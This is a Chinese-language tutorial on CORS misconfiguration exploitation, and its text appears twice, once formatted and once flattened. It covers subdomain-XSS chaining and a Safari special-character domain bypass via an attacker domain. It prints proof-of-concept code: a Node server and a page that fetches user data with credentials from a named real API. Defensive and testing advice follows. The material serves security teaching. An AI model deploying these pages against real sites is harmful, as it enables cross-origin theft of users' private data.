Advanced CORS Exploitation Techniques
字数 1191 2025-08-26 22:11:45

Advanced CORS Exploitation Techniques 教学文档

1. CORS基础概念回顾

CORS (Cross-Origin Resource Sharing) 是一种安全机制,允许Web应用程序从不同源(域)请求资源。正确配置的CORS可以防止跨站请求伪造(CSRF)攻击,而错误配置则可能导致严重的安全漏洞。

关键响应头

  • Access-Control-Allow-Origin: 指定允许访问资源的源
  • Access-Control-Allow-Credentials: 指示是否允许发送凭据(cookies等)

2. CORS错误配置类型

2.1 宽松的子域名白名单

当服务器仅检查请求的Origin是否包含目标域名(如.redacted.com),而不验证子域名是否存在时,攻击者可以利用任意子域名进行攻击。

示例漏洞响应:

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: evil.redacted.com

3. 第一种利用方法:结合XSS

3.1 攻击条件

  • 目标站点存在CORS错误配置
  • 目标站点的某个子域存在XSS漏洞

3.2 攻击步骤

  1. 识别CORS错误配置:发送带有任意子域的Origin头,观察响应
  2. 寻找子域XSS:在目标站点的子域中寻找XSS漏洞
  3. 构造攻击载荷:通过XSS执行跨域请求窃取用户数据

示例攻击代码:

function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.status == 200) {
      alert(this.responseText);
      document.getElementById("demo").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "https://www.redacted.com/api/return", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
cors();

4. 第二种利用方法:特殊字符绕过

4.1 浏览器行为差异

  • Safari:会发送包含特殊字符的域名请求
  • Chrome/Firefox:通常在发送请求前验证域名有效性

4.2 可利用的特殊字符

! " $ %0b %60 & ' ( ) * , ; = ^ ` { | } ~

4.3 攻击步骤

  1. 注册恶意域名:设置通配符DNS记录(*.evil.com)
  2. 搭建攻击服务器:托管恶意脚本
  3. 构造特殊域名链接:如https://zzzz.ubnt.com=.evil.com/cors-poc
  4. 诱骗用户访问:通过Safari浏览器访问该链接

NodeJS服务器示例(serve.js):

var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80

http.createServer(function (req, res) {
  if (req.url == '/cors-poc') {
    fs.readFile('cors.html', function(err, data) {
      res.writeHead(200, {'Content-Type': 'text/html'});
      res.write(data);
      res.end();
    });
  } else {
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.write('never gonna give you up...');
    res.end();
  }
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

恶意页面示例(cors.html):

<!DOCTYPE html>
<html>
<head>
  <title>CORS</title>
</head>
<body onload="cors();">
  <center>cors proof-of-concept:<br><br>
  <textarea rows="10" cols="60" id="pwnz"></textarea><br>
  </div>
  <script>
    function cors() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          document.getElementById("pwnz").innerHTML = this.responseText;
        }
      };
      xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
      xhttp.withCredentials = true;
      xhttp.send();
    }
  </script>

5. 防御措施

5.1 服务器端

  • 严格验证Origin头,使用精确匹配而非通配符或简单包含检查
  • 避免使用Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true的组合
  • 实施白名单机制,仅允许可信的源

5.2 客户端

  • 避免在敏感操作中使用CORS
  • 实施CSRF令牌等其他安全措施

6. 测试方法

  1. 发送带有不同Origin头的请求,观察响应
  2. 尝试使用特殊字符构造Origin头
  3. 检查是否存在子域名接管漏洞
  4. 扫描所有子域寻找XSS漏洞

7. 总结

CORS错误配置可能导致严重的信息泄露漏洞。攻击者可以通过以下方式利用:

  1. 结合子域XSS漏洞
  2. 利用特殊字符绕过域名验证(Safari)
  3. 子域名接管

安全团队应严格审查CORS配置,特别是当涉及敏感数据和凭据时。

Advanced CORS Exploitation Techniques 教学文档 1. CORS基础概念回顾 CORS (Cross-Origin Resource Sharing) 是一种安全机制,允许Web应用程序从不同源(域)请求资源。正确配置的CORS可以防止跨站请求伪造(CSRF)攻击,而错误配置则可能导致严重的安全漏洞。 关键响应头 Access-Control-Allow-Origin : 指定允许访问资源的源 Access-Control-Allow-Credentials : 指示是否允许发送凭据(cookies等) 2. CORS错误配置类型 2.1 宽松的子域名白名单 当服务器仅检查请求的Origin是否包含目标域名(如.redacted.com),而不验证子域名是否存在时,攻击者可以利用任意子域名进行攻击。 示例漏洞响应: 3. 第一种利用方法:结合XSS 3.1 攻击条件 目标站点存在CORS错误配置 目标站点的某个子域存在XSS漏洞 3.2 攻击步骤 识别CORS错误配置 :发送带有任意子域的Origin头,观察响应 寻找子域XSS :在目标站点的子域中寻找XSS漏洞 构造攻击载荷 :通过XSS执行跨域请求窃取用户数据 示例攻击代码: 4. 第二种利用方法:特殊字符绕过 4.1 浏览器行为差异 Safari :会发送包含特殊字符的域名请求 Chrome/Firefox :通常在发送请求前验证域名有效性 4.2 可利用的特殊字符 4.3 攻击步骤 注册恶意域名 :设置通配符DNS记录(* .evil.com) 搭建攻击服务器 :托管恶意脚本 构造特殊域名链接 :如 https://zzzz.ubnt.com=.evil.com/cors-poc 诱骗用户访问 :通过Safari浏览器访问该链接 NodeJS服务器示例(serve.js): 恶意页面示例(cors.html): 5. 防御措施 5.1 服务器端 严格验证 Origin 头,使用精确匹配而非通配符或简单包含检查 避免使用 Access-Control-Allow-Origin: * 与 Access-Control-Allow-Credentials: true 的组合 实施白名单机制,仅允许可信的源 5.2 客户端 避免在敏感操作中使用CORS 实施CSRF令牌等其他安全措施 6. 测试方法 发送带有不同Origin头的请求,观察响应 尝试使用特殊字符构造Origin头 检查是否存在子域名接管漏洞 扫描所有子域寻找XSS漏洞 7. 总结 CORS错误配置可能导致严重的信息泄露漏洞。攻击者可以通过以下方式利用: 结合子域XSS漏洞 利用特殊字符绕过域名验证(Safari) 子域名接管 安全团队应严格审查CORS配置,特别是当涉及敏感数据和凭据时。